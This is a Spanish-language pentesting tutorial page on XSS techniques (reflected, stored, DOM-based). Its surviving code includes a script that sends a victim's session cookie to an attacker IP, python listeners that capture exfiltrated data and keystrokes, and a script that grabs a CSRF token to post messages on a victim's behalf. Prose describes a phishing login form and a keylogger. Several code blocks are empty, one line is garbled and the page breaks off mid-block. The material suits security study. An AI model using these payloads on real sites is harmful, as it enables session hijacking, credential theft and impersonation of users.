> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-techniques-pentesting-web.md).
# Técnicas XSS
## XSS (Reflejado):
> Reflejado: Este tipo de XSS ocurre cuando los datos proporcionados por el usuario se reflejan en la respuesta HTTP sin una validación adecuada. Esto permite a un atacante inyectar código malicioso en la respuesta, que luego se ejecuta en el navegador del usuario.
* En este caso, podemos inyectar código HTML como en el siguiente ejemplo: `prueba
Prueba
`:
* Podemos ver que pudimos modificar el tamaño del texto con **h1** etiqueta:
## XSS (Almacenado):
> Almacenado: Este tipo de XSS ocurre cuando un atacante puede almacenar código malicioso en una base de datos o en el servidor web que aloja una página vulnerable. Este código se ejecuta cada vez que se carga la página. Si lanzamos un script como el de abajo en un formulario, ``, y obtenemos la alerta de abajo, significa que el sitio web es vulnerable a este tipo de ataque:
Podríamos redirigir al usuario a un sitio web vulnerable y realizar un ataque de phishing:
```javascript
```
Este código JavaScript crea un formulario de inicio de sesión en una página web y envía los datos introducidos (dirección de correo electrónico y contraseña) a una dirección IP especificada mediante una solicitud HTTP usando `fetch()`.
```javascript
```
Escuchamos en el puerto 80 con **python3**:
```bash
python3 -m http.server 80
```
## XSS (Basado en DOM):
> Basado en DOM: Este tipo de XSS ocurre cuando el código malicioso se ejecuta en el navegador del usuario a través del DOM (Document Object Model). Esto ocurre cuando el código JavaScript de una página web modifica el DOM de una manera vulnerable a la inyección de código malicioso. El script de abajo puede capturar todas las pulsaciones de teclas del usuario y enviarlas a un **python3** servidor a través del puerto 80:
```javascript
```
Podemos escuchar filtrando solo los caracteres que nos importan con **grep**:
```bash
python3 -m http.server 80 2>&1 | grep -oP 'GET //K[^.*/s]+' | sed 's/%20//g'
```
***
Para obtener la cookie de sesión de un servidor de terceros, creamos este archivo en nuestro ordenador **test.js**
```javascript
var query = new XMLHttpRequest();
query.open('GET', 'http://192.168.71.128/?cookie=' + document.cookie);
query.send();
```
En el formulario, enviamos este script:
```html
```
Escuchamos y obtenemos la cookie de sesión del usuario:
Para escribir algo en nombre de otra persona, podríamos seguir los pasos siguientes: Interceptar la solicitud con [Burp Suite](/es/hacking-tools/web/burpsuite.md) y copiar el contenido resaltado en rojo:
El script de abajo realiza una **GET** solicitud a una URL local, analiza la respuesta HTML para identificar un **CSRF** token, luego realiza una solicitud POST con datos que incluyen el token CSRF a la misma URL. La variable codificada en URL `de datos` envía la información al servidor donde se implementa este script. Es esencial modificar los `de datos` valores, el token y la dirección IP.
```javascript
var domain = "http://localhost:10007/newgossip";
var req1 = new XMLHttpRequest();
req1.open('GET', domain, false);
req1.withCredentials = true;
req1.send();
var response = req1.responseText;
var parser = new DOMParser();
var doc = parser.parseFromString(response, 'text/htmthe );
var token = doc.getElementsByName("_csrf_token")[0].value;
var req2 = new XMLHttpRequest();
var data = "title=My%20boss%20is%20a%20bastard%21%21&subtitle=I%20hate%20my%20job&text=you%20make%20me%20SICK%0A&_csrf_token=" + token;
req2.open('POST', 'http://localhost:10007/newgossip', false);
req2.withCredentials = true;
req2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req2.send(data);
```
En el formulario, enviamos este script:
```javascript